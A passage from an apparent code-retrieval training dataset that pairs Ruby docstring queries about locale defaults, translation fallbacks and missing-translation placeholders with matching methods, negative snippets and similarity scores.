4*60 # only display if more than 5 minutes have passed\n exit if File.exists?(Path + \"/noremind\")\n\n fmt = format_status\n today = daily_tot_current_cat\n\n growl(fmt, today) if fmt.size > 0 && status[1] >> 4\nend", "def print_version\n puts \"nginx_statisic version 0.4.0\".yellow\n puts \"Created by Benjamin Held (May 2016)\".yellow\nend", "def get_deploy_target_status\n status = %x{ssh -o ConnectTimeout=5 #{Deployinator.deploy_host} uptime | awk '{print $2}' }.rstrip\n if status != 'up'\n status = \"<b>DOWN!</b>\"\n end\n \"#{Deployinator.deploy_host} is #{status}\"\n end", "def vm_count\n manager.vbox.machines.count do |machine|\n machine.name =~ /#{Travis::Worker.config.vms.name_prefix}/\n end\n end", "def render_status\n status.each do |st|\n puts \"#{st[:name]} (#{st[:id]})\"\n st[:nodes].each { |n| puts \" #{n[:name]} #{n[:condition]} #{n[:id]} #{n[:ip]}\" }\n puts '---'\n end\n\n nil\n end", "def status\n s = {}\n # any node that's error or unknown will cause the whole state to be in the other state \n my_nodes.each { |n| s[n.id] = n.status unless n.state == 0 }\n return s\n end", "def node_info()\n node.each do |k,v|\n if \"#{v.class}\" == \"Chef::Node::ImmutableArray\" || \"#{v.class}\" == \"Chef::Node::ImmutableMash\"\n puts \"[#{k}]\"\n v.each do |x,y|\n puts \"\\t#{x}\\t#{y}\"\n end\n else\n puts \"[#{k}]\\t#{v}\"\n end\n puts\n end\nend", "def config_status\n config = getconfig\n result = {}\n\n result[:autoboot] = config[:autoboot] ? config[:autoboot].intern : :absent\n result[:pool] = config[:pool]\n result[:shares] = config[:shares]\n if dir = config[\"inherit-pkg-dir\"]\n result[:inherit] = dir.collect { |dirs| dirs[:dir] }\n end\n if datasets = config[\"dataset\"]\n result[:dataset] = datasets.collect { |dataset| dataset[:name] }\n end\n result[:iptype] = config[:\"ip-type\"]\n if net = config[\"net\"]\n result[:ip] = net.collect do |params|\n if params[:defrouter]\n \"#{params[:physical]}:#{params[:address]}:#{params[:defrouter]}\"\n elsif params[:address]\n \"#{params[:physical]}:#{params[:address]}\"\n else\n params[:physical]\n end\n end\n end\n\n result\n end" ]
[ "0.7737813", "0.6181872", "0.61708474", "0.6081172", "0.60521984", "0.60478556", "0.60059553", "0.5970989", "0.5956296", "0.59406185", "0.587981", "0.58758706", "0.5836375", "0.5666798", "0.5561863", "0.55394286", "0.5536466", "0.553646", "0.5511233", "0.55034906", "0.5483987", "0.54593277", "0.54178464", "0.54158926", "0.5399606", "0.5390028", "0.537217", "0.5354896", "0.5344657", "0.53372914", "0.5337279", "0.5336596", "0.5332124", "0.5327053", "0.5315457", "0.5312763", "0.5301846", "0.5293228", "0.5272052", "0.5267719", "0.52639985", "0.52621996", "0.52615", "0.52606803", "0.5246937", "0.52394605", "0.52373564", "0.52347755", "0.52323955", "0.52302134", "0.522583", "0.5215673", "0.5214068", "0.52086926", "0.52042174", "0.51993805", "0.51930666", "0.5187848", "0.5186119", "0.51791257", "0.5163939", "0.51542693", "0.51532346", "0.5144048", "0.51427865", "0.5138527", "0.51266754", "0.51146877", "0.51138467", "0.5113579", "0.51070976", "0.51069015", "0.5103411", "0.5101565", "0.5098438", "0.50900245", "0.50736356", "0.5066902", "0.50662035", "0.5062001", "0.5059258", "0.5058032", "0.5058032", "0.5050131", "0.504931", "0.5048365", "0.50445145", "0.5029711", "0.50199896", "0.5019626", "0.5017963", "0.5014886", "0.5009687", "0.5009513", "0.49935564", "0.49884596", "0.49839813", "0.4973939", "0.49608797", "0.49583244" ]
0.6368932
1
Return the default locale for the object
def default_locale evaluate_localization_option!(:default_locale) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def default_locale\n @default_locale ||= self.languages.get_default.code.to_sym\n end", "def default_locale\n return nil unless localized?\n u_lc = I18n.locale.to_sym\n available_locales.include?(u_lc) ? u_lc : available_locales[0]\n end", "def default_locale\n self.found_locale ||= find_locale\n end", "def default_locale\n (self.locales.first || Locomotive::Mounter.locale).to_sym\n end", "def default_locale; end", "def default_locale\n FastGettext.available_locales.first\n end", "def default_locale\n client.default_locale\n end", "def default_locale\n AppConfig.default_locale\n end", "def locale\n defined?(I18n) ? I18n.locale : default_locale\n end", "def locale\n @locale || { :country => \"US\", :language => \"en\", :variant => nil }\n end", "def default_locale=(locale); end", "def locale\n @locale || YodleeApi.locale\n end", "def locale\n if !language.nil?\n language.abbreviation\n elsif !org.nil?\n org.locale\n end\n end", "def locale(locale)\n if default?\n locale.to_s\n else\n \"#{self.name}_#{locale.to_s}\"\n end\n end", "def system\n locale_from_env || default_locale\n end", "def default_language\n @default_language || :en\n end", "def locale\n self.padma.try :locale\n end", "def locale\n I18n.locale.to_s\n end", "def locale\n I18n.locale.to_s\n end", "def get_locale\n I18n.locale = session[:i18n] || I18n.default_locale || :en\n end", "def locale\n sys && sys[:locale] ? sys[:locale] : default_locale\n end", "def locale\n sys && sys[:locale] ? sys[:locale] : default_locale\n end", "def get_locale\n if !self.language.nil?\n return self.language.abbreviation\n else\n return nil\n end\n end", "def locale\n if self.language\n LANGUAGE_CODE[self.language]\n end\n end", "def find_locale\n locale = locales.all.detect(&:default)\n return locale.code if locale\n\n default_locale\n end", "def locale\n return @locale\n end", "def locale\n return @locale\n end", "def get_locale\n if !self.language.nil?\n return self.language.abbreviation\n elsif !self.org.nil?\n return self.org.get_locale\n else\n return nil\n end\n end", "def po_locale\n @po_locale\n end", "def current_locale\n Thread.current[:\"localite:locale\"] || base\n end", "def with_default_locale(&block)\n ::Mongoid::Fields::I18n.with_locale(self.default_locale) do\n yield\n end\n end", "def locale\n favored_locale\n end", "def current_locale\n I18n.locale.to_sym || I18n.default_locale.to_sym || I18n.available_locales.first.to_sym\n end", "def locale; end", "def locale; end", "def locale; end", "def locale; end", "def locale; end", "def locale; end", "def locale; end", "def locale=(locale)\n @@default_locale = locale\n end", "def locale\n current_site.locale || I18n.default_locale.to_s\n end", "def lang locale\n if translations.find_by(locale: locale).try(:automated?)\n \"#{locale}-x-mtfrom-de\"\n else\n locale.to_s\n end\n end", "def locale_defaults\n if by_subdomain?\n defaults.merge(subdomain: locale.to_s)\n else\n defaults.merge(locale: locale.to_s)\n end\n end", "def default_language\n languages.find_by(default: true)\n end", "def locale\n lang = params.fetch(:language, I18n.default_locale).to_sym\n I18n.available_locales.include?(lang) ? lang : I18n.default_locale\n end", "def locale_backend; end", "def set_default_main_locale\n self.main_locale = self.content_type.mounting_point.default_locale\n end", "def set_default_language\n I18n.locale = :ja\n end", "def default_locale?\n I18n.default_locale == I18n.locale\n end", "def locale\n return nil if errors\n\n locale = YAML.safe_load(@text).keys.first\n locale.to_sym\n end", "def locale(force = true)\n @locale || negotiate_locale(force)\n end", "def locale\r\n read_attribute(:locale).to_sym\r\n end", "def get_locale(locale = nil)\n locale || @_deco_locale || (h.cama_get_i18n_frontend rescue nil) || I18n.locale\n end", "def default_lang\n GamePlay::Load::DEFAULT_GAME_LANGUAGE\n end", "def default_locale?\n I18n.default_locale == I18n.locale\n end", "def set_locale\n I18n.locale = I18n.default_locale\n end", "def locale\n @values.fetch('ai.device.locale') { \n @values['ai.device.locale'] = nil\n }\n end", "def locale\n (self.country.blank? or self.country.indonesia?) ? :id : :en\n end", "def find_best_locale\n browser_locale =\n http_accept_language.preferred_language_from(\n Rails.application.config.automatic_locales\n )\n return browser_locale if browser_locale.present?\n\n I18n.default_locale\n end", "def apply_locale; end", "def locale_name\n YAML.load(translation || \"{}\").with_indifferent_access[locale] || survey.default_locale_name\n end", "def owners_locale\n default = :\"en-US\"\n if self.owner.is_a?(Person)\n self.owner.default_locale || default\n elsif self.owner.is_a?(Tier)\n self.owner.default_locale || default\n else\n default\n end\n end", "def default(locale, object, subject, options = T.unsafe(nil)); end", "def to_label locale=I18n.default_locale\n self.subject locale\n end", "def set_locale\n I18n.locale = Rails.configuration.oyambre.languages.first\n end", "def display_language\n default = I18n.locale.try {|l| l.to_s.gsub(/\\-.*$/, '')} || \"en\"\n\n this_doc = self.language_obj.try(:iso_639_1)\n\n return nil if this_doc == default\n\n self.language_str\n end", "def setup_default_locale\n locale = config.dig(\"locale\").split(\"- \").last\n\n application nil do\n <<~CONFS\n # Default i18n locale\n config.i18n.default_locale = :#{locale}\n\n CONFS\n end\n\n template \"templates/default_locale.tt\", \"config/locales/#{locale}.yml\" if locale != \"en\"\n end", "def locale\n configatron.ramazon.locale || :us\n end", "def translation\r\n translation_for(Mongoid::Globalize.locale)\r\n end", "def user_locale(user = current_user)\n locale = if user && user.language != 'default'\n user.language\n else\n http_accept_language.language_region_compatible_from(I18n.available_locales)\n end\n\n begin\n I18n.locale = locale.tr('-', '_') unless locale.nil?\n rescue\n # Default to English if there are any issues in language\n logger.error(\"Support: User locale is not supported (#{locale}\")\n I18n.locale = \"en\"\n end\n end", "def set_locale\n end", "def get(locale = Localization.default_locale)\n @locales[locale.to_s]\n end", "def locale_to_translate_into\n multilanguage_site = settings.multilanguage_site\n default_language = settings.default_language\n if multilanguage_site and session[:locale] != default_language\n session[:locale]\n else\n nil\n end\n end", "def full_locale(lang = I18n.locale)\n case lang\n when :en\n \"en_US\"\n else\n \"#{lang.downcase}_#{lang.upcase}\"\n end\n end", "def read_locale\n raise \"Override me\"\n end", "def full_locale(lang=I18n.locale.to_s)\n if lang == \"en\"\n \"en_US\"\n else\n \"#{lang.downcase}_#{lang.upcase}\"\n end\n end", "def set_locale\n # This requires a user model to work. I'm assuming there will be a \"current_user\" helper.\n # If we decide to use Devise, that will be default.\n # I18n.locale = current_user.language || I18n.default_locale\n end", "def locale=(_arg0); end", "def locale_language(locale=nil)\n \"#{locale || I18n.locale}\"[0, 2].to_sym\n end", "def locale\n @grpc.locale\n end", "def locale\n @grpc.locale\n end", "def header_locale\n options = request.env.fetch('HTTP_ACCEPT_LANGUAGE', '').split(',')\n # clear out preference values; assume they'll be in order\n options.map! { |v| v.split(';')[0] }\n options.each do |v|\n return locale_matches[v] if locale_matches.keys.include?(v)\n end\n I18n.default_locale\n end", "def default_language?\n return true unless params[:locale]\n\n params[:locale].to_s == I18n.default_locale.to_s\n end", "def getLocaleCode\n # first default locale to default locale\n @locale_code = Rails.application.config.i18n.default_locale\n # next set locale to the locale in user record\n @locale_code = current_user.try(:locale) || @locale_code\n # next set locale to the locale passed as the locale param\n if (params.present? &&\n params['locale'].present? &&\n BaseRec::VALID_LOCALES.include?(params['locale'].to_s)\n )\n @locale_code = params['locale']\n end\n # set the locale in I18n\n I18n.locale = @locale_code\n Rails.logger.debug \"@locale_code: #{@locale_code.inspect}\"\n end", "def default_i18n_subject(interpolations = {})\n ''\n end", "def locale_from_env\n locale = nil\n # At least one environment valiables should be set on *nix system.\n [ENV[\"LC_ALL\"], ENV[\"LC_MESSAGES\"], ENV[\"LANG\"]].each do |loc|\n\tif loc != nil and loc.size > 0\n\t locale = Locale::Object.new(loc)\n\t locale.charset ||= get_charset(locale)\n\t break\n\tend\n end\n locale\n end", "def get_locale(host)\r\n host.gsub(I18n.config.host_locale_regex, '\\1') || I18n.default_locale\r\n end", "def options_locale\n current_user.try(:locale) ||\n session[:locale] ||\n http_accept_language.compatible_language_from(I18n.available_locales) ||\n I18n.default_locale\n end", "def set_locale\n if (user_signed_in? && I18n.available_locales.include?(current_user.lang))\n # If a user is signed in, put the preferred language.\n I18n.locale = current_user.lang\n else\n # If there isn't a logged in user, use the default value\n # defined in config.\n I18n.locale = I18n.default_locale\n end\n return\n end", "def country\n @country ||= I18n.default_locale\n end", "def set_locale\n I18n.locale = if user_signed_in?\n current_user.language.to_sym\n else\n I18n.default_locale\n end\n end", "def set_locale\n I18n.locale = get_locale_from_params || I18n.default_locale\n end", "def set_locale\n I18n.locale = get_locale_from_params || I18n.default_locale\n end", "def set_locale\n I18n.locale = current_user.try(:locale) || I18n.default_locale\n end", "def available_locales; end", "def available_locales; end", "def set_locale \n I18n.locale = extract_locale_from_tld || I18n.default_locale\n end", "def correct_locale\n (locales.select{|loc|loc.locale == I18n.locale.to_s}.first || locales.first)\n end", "def set_locale\n if user_signed_in?\n I18n.locale = current_user.language.to_sym\n else\n I18n.locale = I18n.default_locale\n end\n end" ]
[ "0.85959285", "0.85721165", "0.8507327", "0.84019864", "0.84001434", "0.8325649", "0.8325224", "0.8095079", "0.8036071", "0.7681259", "0.7654299", "0.76017535", "0.7587714", "0.7577989", "0.7527154", "0.75127846", "0.74955946", "0.74854386", "0.74854386", "0.74168646", "0.7386033", "0.7386033", "0.73855084", "0.7358051", "0.73436975", "0.73324955", "0.73324955", "0.73252684", "0.7287702", "0.72395295", "0.7230867", "0.72205216", "0.7204468", "0.7190788", "0.7190788", "0.7190788", "0.7190788", "0.7190788", "0.7190788", "0.7190788", "0.7177376", "0.7170559", "0.71433157", "0.7107637", "0.70145684", "0.7004193", "0.7003205", "0.69888157", "0.69704473", "0.69681567", "0.69486", "0.69222945", "0.6922004", "0.69087684", "0.68756384", "0.6868806", "0.6850703", "0.6841736", "0.6825893", "0.68172276", "0.6798299", "0.67838454", "0.67605656", "0.6741917", "0.6733523", "0.6733373", "0.6730542", "0.6704085", "0.6687075", "0.665684", "0.66565114", "0.6613588", "0.6590503", "0.65836275", "0.6551959", "0.65449494", "0.65356827", "0.65318996", "0.65267026", "0.6513999", "0.65017754", "0.65017754", "0.6493894", "0.6481902", "0.6480492", "0.6462733", "0.6460265", "0.6456099", "0.64301556", "0.6419201", "0.639937", "0.63968146", "0.6395377", "0.6395377", "0.6381935", "0.6368043", "0.6368043", "0.6359672", "0.6353478", "0.6333695" ]
0.8614655
0
Return if the object falls back on translations
def locale_fallback? evaluate_localization_option!(:fallback) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def translated?(name)\r\n self.class.translated?(name)\r\n end", "def translated?(name)\n self.class.translated?(name)\n# self.class.instance_variable_get(translated_attribute_names).include?(name.to_sym)\n end", "def translated?\n return false if obsolete? || fuzzy?\n not untranslated?\n end", "def fallbacks_for?(object)\r\n object.nil? || (fallbacks_for_empty_translations? && object.blank?)\r\n end", "def localized?\n true\n end", "def translated\n find_all do |entry|\n entry.translated?\n end\n end", "def localized?\n false\n end", "def translatable\n self._translatable[base_name]\n end", "def localized?\n field = self.content_type.label_field\n !!field.try(:localized)\n end", "def localized?\n @localized ||= (self.languages_count > 1)\n end", "def explicit_locale? = @explicit_locale", "def localize_present?\n false\n end", "def localized?\n self.locales.size > 1\n end", "def with_locales_if_translated(with_locales = nil, &block)\n if instance.respond_to?(:translated_locales) && instance.translated?(:\"#{name}_file_name\")\n # TODO translated_locales are not present any more when this is called via destroy callback (unless 'translates' is defined AFTER 'has_attached_file' in the model class)\n with_locales = instance.translated_locales if with_locales.nil?\n Globalize.with_locales([*with_locales]) { yield }\n else\n yield\n end\n end", "def translatable\n self._translatable[base_name] ||= []\n end", "def translations\n\t\t\tvalues(\"http://scta.info/property/hasTranslation\")\n\t\tend", "def translation_class(model, locale: I18n.locale)\n translation_exists?(model, locale: locale) ? nil : 'translation-missing'\n end", "def translator_missing?\n !yaml.key?(\"translator\")\n end", "def translations; end", "def fully_translated?\n locale_counts.all? do |locale_code, _|\n fully_translated_in?(locale_code)\n end\n end", "def translated?\n texts = errors.values.flatten.map(&:message)\n texts.select { |text| text.start_with?(\"translation missing\") }.empty?\n end", "def translate_to_flag\n @translate_to_flag ||= Lang.where(id: current_user.translate_to)\n end", "def recognize(locale_or_object)\n case locale_or_object\n when translations.klass then locale_or_object\n when String, Symbol then translation?(locale_or_object)\n when nil then nil\n else raise(TypeError, \"Undefined type\")\n end\n end", "def translation_admin\n self.is_translation_admin?\n end", "def localize_present?\n options[:localize] == :present\n end", "def lang?\n self.lang.nil? ? false : true\n end", "def missing_translation?\n @translations.any? { |x, v| v.nil? or v.blank? }\n end", "def is_translated?(moonrune)\n begin\n if moonrune.translation_check != moonrune\n return true\n else\n return false\n end\n rescue \n p \"something went awry with is_translated?\"\n return false\n end\nend", "def one_translation_per_lang_per_key\n translation_exists = Translation.exists?(\n lang: self.lang,\n translator_id: self.translator.id,\n translator_type: self.translator.class.name,\n translation_key_id: self.key.id\n )\n\n unless translation_exists\n true\n else\n false\n self.errors.add(:lang, I18n.t('.one_translation_per_lang_per_key'))\n end\n end", "def is_translation_shared?(record = nil)\n options[:translation_shared] || can_be_initialized?(record)\n end", "def respond_to_translatable_attribute?(name)\n name.to_s =~ /^(#{self.class.translatable_attributes.join('|')})(_[a-z]+)?(=)?$/ && [$1, $2 ? $2[1..-1] : nil, $3].compact\n end", "def translate(klass, key, value)\n if defined?(I18n)\n super\n else\n value ? value.to_s.humanize.downcase : 'nil'\n end\n end", "def translation_for(locale)\n success = true\n tries ||= 3\n translation = self.translations.detect{ |t| t.locale == locale }\n return translation if translation\n return nil if self.new_record\n request = Net::HTTP::Get.new(\"/api/projects/#{Connection.api_key}/terms/#{self.id}/locales/#{locale}/translations.yaml\")\n WebTranslateIt::Util.add_fields(request)\n begin\n response = Util.handle_response(Connection.http_connection.request(request), true, true)\n array = YAML.load(response)\n return nil if array.empty?\n translations = []\n array.each do |translation|\n term_translation = WebTranslateIt::TermTranslation.new(translation)\n translations.push(term_translation)\n end\n return translations\n \n rescue Timeout::Error\n puts \"Request timeout. Will retry in 5 seconds.\"\n if (tries -= 1) > 0\n sleep(5)\n retry\n else\n success = false\n end\n end\n success\n end", "def outdated_translations? options = {}\n \n default_options = {\n :locale => :en,\n :delta_time => 23.hours\n }\n \n options = default_options.merge options\n \n translations = self.globalize_translations\n \n default = *(translations.select {|x| x.locale == I18n.default_locale})\n custom = *(translations.select {|x| x.locale == options[:locale]})\n \n if translations.size > 1 && default && custom\n difference = (default.updated_at - custom.updated_at).to_i.abs\n return (options[:delta_time].to_i.abs < difference)\n else\n return false\n end\n end", "def translates?\n included_modules.include?(InstanceMethods)\n end", "def trans_exists?(trans)\n @wordlist.values.include?(trans)\n end", "def validate_translations\n# logger.debug \"***** validates question translations\"\n if self.dataset.default_language.present?\n# logger.debug \"***** - default is present; text = #{self.text_translations[self.dataset.default_language]}\"\n if self.text_translations[self.dataset.default_language].blank?\n# logger.debug \"***** -- text not present!\"\n errors.add(:base, I18n.t('errors.messages.translation_default_lang',\n field_name: self.class.human_attribute_name('text'),\n language: Language.get_name(self.dataset.default_language),\n msg: I18n.t('errors.messages.blank')) )\n end\n end\n end", "def fully_translated_in?(locale_code)\n (locale_counts[locale_code] || -1) >= phrase_count\n end", "def translation\r\n translation_for(Mongoid::Globalize.locale)\r\n end", "def label_translation; end", "def localize_x(object, options = {})\n if options.has_key?(:locale) && !options[:locale].is_a?(Array)\n localize(object, options)\n else\n begin\n handling = options.delete(:throw) && :throw || options.delete(:raise) && :raise # TODO deprecate :raise\n if object.is_a?(Array)\n if handling\n options[handling] = true\n end\n object.map { |k| localize_x(k, options) }\n else\n backend = config.backend\n locales = if options.has_key?(:locale) && options[:locale].is_a?(Array)\n options.delete(:locale)\n else\n config.locale_array\n end\n format = options.delete(:format) || :default\n\n # we need to drop :default from the options, or we won't find a translation if a later\n # locale has one and the first does not\n\n default = options.delete(:default)\n options[:raise] = true\n\n seen = {}\n\n locales.each do |lloc|\n aloc = lloc.to_s.split('-')\n while aloc.length > 0\n l = aloc.join('-')\n unless seen.has_key?(l)\n seen[l] = true\n begin\n return backend.localize(l, object, format, options)\n rescue\n end\n end\n aloc.pop\n end\n end\n\n # if we made it here, there is no translation\n\n if default\n default\n else\n raise I18n::MissingTranslationData.new(locales, object, options)\n end\n end\n rescue I18n::ArgumentError => exception\n handle_exception(handling, exception, locale, object, options)\n end\n end\n end", "def translate(*args)\n # Fall back to the default translate behavior if the :force_default_behavior is true\n force_current_locale = args.last.is_a?(Hash) ? args.pop.delete(:force_default_behavior) : false\n return original_translate(*args) if force_current_locale\n\n translations = []\n\n available_locales.each do |locale|\n args_copy = args.dup\n\n if args_copy.last.is_a?(Hash)\n args_copy.last.merge!(locale: locale)\n else\n args_copy << {locale: locale}\n end\n\n translations << original_translate(*args_copy)\n end\n\n translations.max\n end", "def untranslated\n find_all do |entry|\n entry.untranslated?\n end\n end", "def init_translations; end", "def i18n_set? key\n I18n.t key, :raise => true rescue false\n end", "def translate_content(object, method)\n c = object[method] # (default)\n return c if I18n.locale == I18n.default_locale || I18n.locale == 'en'\n parent_locale = (I18n.locale.to_s.match(/^(.*)-/)) ? $1 : false\n translations = ContentTranslation.where(content_type: object.class.to_s, content_id: object.id, content_method: method.to_s)\n if t = translations.where(locale: I18n.locale).first\n c = t.content\n elsif parent_locale\n if t = translations.where(locale: parent_locale).first\n c = t.content\n elsif t = translations.where([\"locale LIKE ?\", \"'#{parent_locale}%%'\"]).first\n c = t.content\n end\n elsif auto = auto_translate(object, method)\n c = auto\n end\n c.to_s.html_safe\n end", "def i18n_set? key\n I18n.t key, :raise => true rescue false\n end", "def i18n_set? key\n I18n.t key, :raise => true rescue false\n end", "def notranslate?\n @sequence.select { |item| item[/notranslate/] }.last == :notranslate\n end", "def manage_all_sites_translations?\n all_sites_translator? || super_admin?\n end", "def translate(item)\n @progress.setMainStatusAndLogIt('Translating')\n text = get_original_text(item)\n return nil if text.empty?\n\n translated = ms_translate(text)\n super(item, translated) unless translated.nil? || translated.empty?\n end", "def method_missing(*args, &block)\n if current_version?\n object.send(*args, &block)\n else\n if localized?(args.first)\n _field_translations = eval_localized_string(args.first)\n if args.first !~ /_translations\\Z/\n _field_translations[I18n.locale.to_s]\n end\n else\n version.send(*args, &block)\n end\n end\n end", "def translate\n self.translations.destroy\n\n if auto_translate\n google_translate\n bing_translate\n end\n end", "def international?\n @international\n end", "def who_translatable?\n !(who.nil? || who.blank? || ['?', '%'].include?(who[0]))\n end", "def translations\n @translations ||= {}\n end", "def has_language?\n !language.nil?\n end", "def use_i18n; end", "def translation_class\n const_get translation_class_name\n end", "def translate\n if self.products && self.products.first\n ContentTranslation.auto_translate(self, self.products.first.brand)\n end\n end", "def should_be_created_by_system?\n case model.class.to_s\n when 'OfferTranslation', 'OrganizationTranslation'\n model.locale == 'de' || !model.translated_model.in_section?('refugees')\n else\n false # NOTE: this is not used yet -\n # rethink when other models become assignable!\n end\n end", "def auto_translate\n return unless MuckContents.configuration.enable_auto_translations\n begin\n translate(false)\n rescue => ex\n #TODO figure out a way to bubble up the error\n puts ex\n debugger\n # Translations failed, but update the default language\n translation = translation_for(self.locale)\n translation.update_attributes!(:title => self.title, :body => self.body) unless translation.blank?\n end\n end", "def translation_for(locale, **)\n translation = model.send(association_name).find { |t| t.__send__(key_column) == attribute && t.locale == locale.to_s }\n translation ||= class_name.new(locale: locale, key_column => attribute)\n translation\n end", "def translation_domain?\n @tenant.try(:subdomain) == Rails.configuration.translations_subdomain\n end", "def get_attribute(attribute, lang, fallback)\n translation = translations.find {|t| t['locale'] == lang }\n translation = translations.find_by(locale: lang) unless translation\n\n # return previously setted attributes if present\n return translation[attribute] if translation\n return if new_record? || !fallback\n\n # Lookup chain:\n # if translation not present in current locale,\n # use default locale, if present.\n # Otherwise use first translation\n translation = translations.detect { |t| t.locale.to_sym == lang && t[attribute] } ||\n translations.detect { |t| t.locale.to_sym == puret_default_locale && t[attribute] } ||\n translations.first\n\n translation ? translation[attribute] : nil\n end", "def translation_text_presence\n present = false\n translations.each {|t| present = true if !t.text.blank?}\n unless present\n errors.add 'translations.text', I18n.t(\n 'models.phrase.attributes.translations.min_amount',\n default: 'needs at least one translation'\n )\n end\n end", "def translation_path\n self.class.translation_path or self.class.controller_path.gsub(\"/\", \".\")\n end", "def translations\n translated_locales = @bindings[:object].translated_locales\n available_locales.collect do |locale|\n translated_locales.include?(locale) ? @bindings[:object].translation_for(locale) : @bindings[:object].translations.new({ locale: locale })\n end\n end", "def with_translation(locale, build_if_missing=true)\n @local_translations ||= {}\n if @local_translations[locale].blank?\n x = self.infographic_translations.where(:locale => locale).first\n if x.blank? && build_if_missing\n x = self.infographic_translations.build(locale: locale)\n end\n\n @local_translations[locale] = x\n end\n return @local_translations[locale]\n end", "def one_locale_must_have_translations\n if (preferred_locales & configatron.full_locales).empty?\n errors.add(:preferred_locales_str, :one_must_have_translations, locales: configatron.full_locales.join(\",\"))\n end\n end", "def update_associations_translated_cache\n result = Array(translatable_options[:translatable_associations]).all? do |association|\n records = send(association)\n case records\n when ActiveRecord::Base\n # If it's a single record\n send(association).translation_complete?\n else\n # If it's a relation\n send(association).translation_incomplete.empty?\n end\n end\n # Save without triggering callbacks\n self.class.update_all({:associations_translated => result}, :id => self.id) if self.class.column_names.include? 'associations_translated'\n end", "def localized?\n self.entries_custom_fields.where(localized: true).count > 0\n end", "def translations_hash; end", "def available_translations\n {\n 'en' => 'English',\n 'es' => 'Español',\n 'pt-BR' => 'Português do Brasil'\n }\n end", "def i18n_set?(key)\n I18n.t key, raise: true\n rescue StandardError\n false\n end", "def has_many_through_translatable?\n options[:through] && through_reflection.klass.is_translatable?\n end", "def t(key, default = '')\n c = I18n.t(key)\n if c.match(/translation missing/i)\n c = I18n.t(key, locale: 'en') \n # Still not found. Return default if set\n c = default unless default.blank?\n end\n c\nend", "def available_locales_initialized?; end", "def translation\n if self.spellings.first\n self.spellings.first.name\n else\n \"\"\n end\n end", "def verificar_locale\n \n end", "def translation\n @translation ||= name.underscore.split('/').last\n end", "def locale_available?(locale); end", "def translation_target\n super\n end", "def t(key, default='')\n c = I18n.t(key)\n if c.match( 'translation missing' )\n c = I18n.t(key, locale: 'en') \n# Still not found. Return default if set\n c = default unless default.blank?\n end\n c\nend", "def with_translation(locale, build_if_missing=true)\n @local_translations ||= {}\n if @local_translations[locale].blank?\n x = self.story_translations.where(:locale => locale).first\n if x.blank? && build_if_missing\n x = self.story_translations.build(locale: locale)\n end\n\n @local_translations[locale] = x\n end\n return @local_translations[locale]\n end", "def after_save_main_object\n if save_default_translation?\n save_default_translation\n end\n end", "def translate_with_fallbacks opts, locale = nil\n locale ||= default_locale\n\n opts.each.with_index do |(key, vars), index|\n next unless I18n.exists?(key, locale) || index == opts.count - 1\n\n return I18n.translate(key, vars)\n end # each\n end", "def isLocalized _args\n \"isLocalized _args;\" \n end", "def test_gettext_support\n ### FIXME: how to set \"en\" as gettext's default language?\n\n t = MyTestCell.new(@controller)\n c = render_cell_state(t, :view_with_explicit_english_translation)\n\n # the view \"view_with_explicit_english_translation_en\" exists, check if\n # gettext/rails found it:\n if Object.const_defined?(:GetText)\n assert_selekt c, \"#defaultTranslation\", 0\n assert_selekt c, \"#explicitEnglishTranslation\"\n else\n assert_selekt c, \"#defaultTranslation\"\n end\n end", "def main_translation\n translations.where(language: main_language).one\n end", "def get_translate(locale, key)\r\n I18n.t!(key, :locale => locale)\r\n rescue\r\n nil\r\n end", "def textual?\n properties.include?(\"textual\")\n end", "def correct_locale\n (locales.select{|loc|loc.locale == I18n.locale.to_s}.first || locales.first)\n end", "def prioritized?\n @prioritized ||= PRIORITIES.include?(language.to_s)\n end", "def store_original_as_translation\n unless self.original_text.nil?\n self.translations << self.original_text\n end\n end", "def translate_boolean(boolean)\n I18n.translate!(boolean)\n rescue I18n::MissingTranslationData\n boolean.to_s\n end", "def globalize_object(model)\n return unless pol_cfg.multilang?\n pol_cfg.languages.each do |lang|\n next if model.globalize_translations.map(&:locale).include?(lang.to_sym)\n model.globalize_translations.build({ :locale => lang })\n end\n end", "def english_name?\n read_attribute(:name).present?\n end", "def missing_translations\n @translations.select { |x, v| v.nil? or v.blank? }\n end", "def translator\n @translator ||= Translator.new\n end" ]
[ "0.7918369", "0.7449263", "0.7323963", "0.72721076", "0.7149266", "0.6986841", "0.6977304", "0.6875715", "0.6785967", "0.6759831", "0.6674717", "0.6673803", "0.6640978", "0.6640877", "0.6577027", "0.6575014", "0.65712094", "0.6516844", "0.65053403", "0.64069664", "0.639928", "0.63940823", "0.63899934", "0.6381357", "0.63442004", "0.63261986", "0.6280058", "0.6277974", "0.62712353", "0.6236908", "0.6166613", "0.6141703", "0.6128981", "0.6126588", "0.61050576", "0.60803926", "0.6055798", "0.60532945", "0.60225254", "0.60152054", "0.6013477", "0.60102195", "0.60085934", "0.6007628", "0.598139", "0.597931", "0.59779745", "0.59779745", "0.596884", "0.5964759", "0.59637356", "0.5955041", "0.5922572", "0.5910545", "0.59083086", "0.5897828", "0.58917665", "0.5872783", "0.58648014", "0.5858037", "0.58547544", "0.58510554", "0.5840047", "0.5829401", "0.58257765", "0.5824797", "0.58247316", "0.5806083", "0.57803035", "0.5771473", "0.576099", "0.57579315", "0.5756527", "0.5750466", "0.57467586", "0.57443243", "0.5740974", "0.57330066", "0.5717742", "0.5717151", "0.5709854", "0.5706798", "0.5706188", "0.5696662", "0.56902975", "0.56892204", "0.5683633", "0.56770885", "0.5662368", "0.5656689", "0.56351393", "0.56273603", "0.56191933", "0.55823183", "0.5580671", "0.557391", "0.55710346", "0.5556182", "0.55495244", "0.55305487" ]
0.62136817
30
Return the missing translation placeholder
def missing_translation_placeholder field evaluate_localization_option!(:placeholder, field) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
